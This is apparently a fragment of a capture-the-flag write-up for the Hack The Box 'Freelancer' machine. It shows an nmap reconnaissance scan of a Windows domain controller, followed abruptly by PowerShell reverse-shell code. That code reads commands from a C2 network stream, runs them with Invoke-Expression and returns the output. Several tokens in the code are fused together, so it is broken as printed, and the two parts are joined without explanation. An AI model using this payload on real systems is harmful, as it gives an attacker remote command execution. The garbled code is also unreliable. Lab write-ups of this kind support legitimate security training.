┌──(kali㉿kali)-[~/box/Freelancer] └─$ cat nmap/ports.nmap| grep open | awk -F'/' '{print $1}' | tr '\n' ',' 53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49667,49676,49677,49680,54679,54683, ┌──(kali㉿kali)-[~/box/Freelancer] └─$ sudo nmap -sT -A -p53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49667,49676,49677,49680,54679,54683 10.10.11.5 -oA nmap/details Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-07 03:18 EDT Nmap scan report for freelancer.htb (10.10.11.5) Host is up (0.76s latency).
PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 80/tcp open http nginx 1.25.5 |_http-title: Freelancer - Job Board & Hiring platform 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-08-07 12:18:47Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: freelancer.htb0., Site: Default-First-Site-Name) 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: freelancer.htb0., Site: Default-First-Site-Name) 3269/tcp open tcpwrapped 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-title: Not Found 9389/tcp open mc-nmf .NET Message Framing 49667/tcp open msrpc Microsoft Windows RPC 49676/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 49677/tcp open msrpc Microsoft Windows RPC 49680/tcp open msrpc Microsoft Windows RPC 54679/tcp open msrpc Microsoft Windows RPC 54683/tcp open msrpc Microsoft Windows RPC Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running (JUST GUESSING): Microsoft Windows 2019 (88%) Aggressive OS guesses: Microsoft Windows Server 2019 (88%) No exact OS matches for host (test conditions non-ideal). Network Distance: 2 hops Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
TRACEROUTE (using proto 1/icmp) HOP RTT ADDRESS 1 793.67 ms 10.10.16.1 2 797.50 ms freelancer.htb (10.10.11.5)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 159.58 seconds
# Writes a string to C2 functionWriteToStream($String) { # Create buffer to be used for next network stream read. Size is determined by the TCP client recieve buffer (65536 by default) [byte[]]$script:Buffer = 0..$TCPClient.ReceiveBufferSize | % {0}
# Write to C2 $StreamWriter.Write($String + 'SHELL> ') $StreamWriter.Flush() }
# Initial output to C2. The function also creates the inital empty byte array buffer used below. WriteToStream ''
# Loop that breaks if NetworkStream.Read throws an exception - will happen if connection is closed. while(($BytesRead = $NetworkStream.Read($Buffer, 0, $Buffer.Length)) -gt0) { # Encode command, remove last byte/newline $Command = ([text.encoding]::UTF8).GetString($Buffer, 0, $BytesRead - 1) # Execute command and save output (including errors thrown) $Output = try { Invoke-Expression$Command2>&1 | Out-String } catch { $_ | Out-String }
# Write output to C2 WriteToStream ($Output) } # Closes the StreamWriter and the underlying TCPClient $StreamWriter.Close()
